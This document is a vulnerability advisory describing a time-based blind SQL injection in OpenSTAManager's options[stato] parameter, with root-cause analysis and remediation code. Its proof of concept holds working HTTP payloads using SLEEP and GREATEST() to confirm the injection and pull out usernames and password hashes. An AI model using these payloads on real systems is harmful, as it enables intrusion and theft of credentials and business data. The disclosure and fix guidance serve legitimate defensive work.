OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter

Vulnerable code:

// modules/contratti/ajax/select.php, lines 56-57
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';

The $stato variable is inserted inside a subquery. The resulting SQL fragment becomes WHERE {user_input} = 1), allowing an attacker to close the subquery and inject into the outer query.

Root Cause Analysis

Data Flow

1. The attacker sends a GET request with options[stato]=<payload> to /ajax_select.php
2. ajax_select.php (line 30) reads the value via filter('options'), which applies HTMLPurifier sanitization
3. HTMLPurifier strips HTML tags and the > character, but does NOT strip SQL keywords (SELECT, SLEEP, IF, UNION, etc.) or SQL-significant characters ((, ), =, ', etc.)
4. The sanitized value is passed to AJAX::select() in src/AJAX.php (line 40)
5. AJAX::getSelectResults() assigns $superselect = $options (line 273) and requires the module's select.php file (line 275)
6. The module's select.php reads $superselect['stato'] and concatenates it directly into the $where[] array
7. AJAX::selectResults() joins all WHERE elements with AND and executes the query via Query::executeAndCount() (line 120)

Why HTMLPurifier is Insufficient

HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:

• It does not strip SQL keywords: SELECT, SLEEP, IF, UNION, FROM, WHERE
• It does not strip SQL operators: =, (, ), ,, +, -, *
• It strips the > character (used in HTML), which can be bypassed using MySQL's GREATEST() function
• It provides zero protection against SQL injection

Proof of Concept

Prerequisites

• A valid user account on the OpenSTAManager instance (any privilege level)
• Network access to the application

Step 1: Authenticate

POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

op=login&username=<user>&password=<pass>

Save the PHPSESSID cookie from the Set-Cookie response header.

Step 2: Verify Injection (SLEEP test)

Baseline request (normal response time ~200ms):

GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>

Injection request (response time ~10 seconds):

GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>

Expected result: The response is delayed by approximately 10 seconds, confirming that the SLEEP(10) function was executed by the database server. The response body in both cases is identical: {"results":[],"recordsFiltered":0}.

Step 3: Data Extraction (demonstrating impact)

Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The > character is stripped by HTMLPurifier, so the GREATEST() function is used as an equivalent:

Extract username length:

GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1

This technique was used to successfully extract:

• Username: admin (5 characters, extracted character by character)
• Password hash prefix: $2y$10$qAo04wNbhR9cpxjHzrtcnu... (bcrypt)
• MySQL version: 8.3.0

PoC for Other Endpoints

Ordini (orders):

GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1

Contratti (contracts):

GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1

Both endpoints show the same SLEEP-based timing delay, confirming the injection.

Impact

• Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.
• Integrity: With MySQL's INSERT/UPDATE capabilities via subqueries, an attacker may be able to modify data.
• Availability: An attacker can execute SLEEP() with large values or resource-intensive queries to cause denial of service.

Proposed Remediation

Option A: Allowlist Validation (Recommended)

Replace the direct concatenation with an allowlist of permitted column names:

// modules/preventivi/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
    ? $superselect['stato']
    : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';

// modules/ordini/ajax/select.php — FIXED
$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
    ? $superselect['stato']
    : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';

// modules/contratti/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
    ? $superselect['stato']
    : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';

This approach is recommended because the stato parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.

Option B: Regex Validation (Alternative)

If the set of column names is dynamic, validate the format strictly:

$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
if (!preg_match('/^[a-z_]+$/i', $stato)) {
    $stato = 'is_pianificabile'; // fallback to safe default
}
$where[] = '('.$stato.' = 1)';

This ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.

Option C: Backtick Quoting (Supplementary)

In addition to validation, wrap the column name in backticks to treat it as an identifier:

$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';

Note: This alone is insufficient without input validation but provides defense-in-depth.

Global Recommendation

Audit all usages of $superselect across the codebase. Any value from $superselect that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The prepare() function is already used correctly in other parts of the code — the issue is specifically where $superselect values are used as column names or bare expressions.

Credits

Omar Ramirez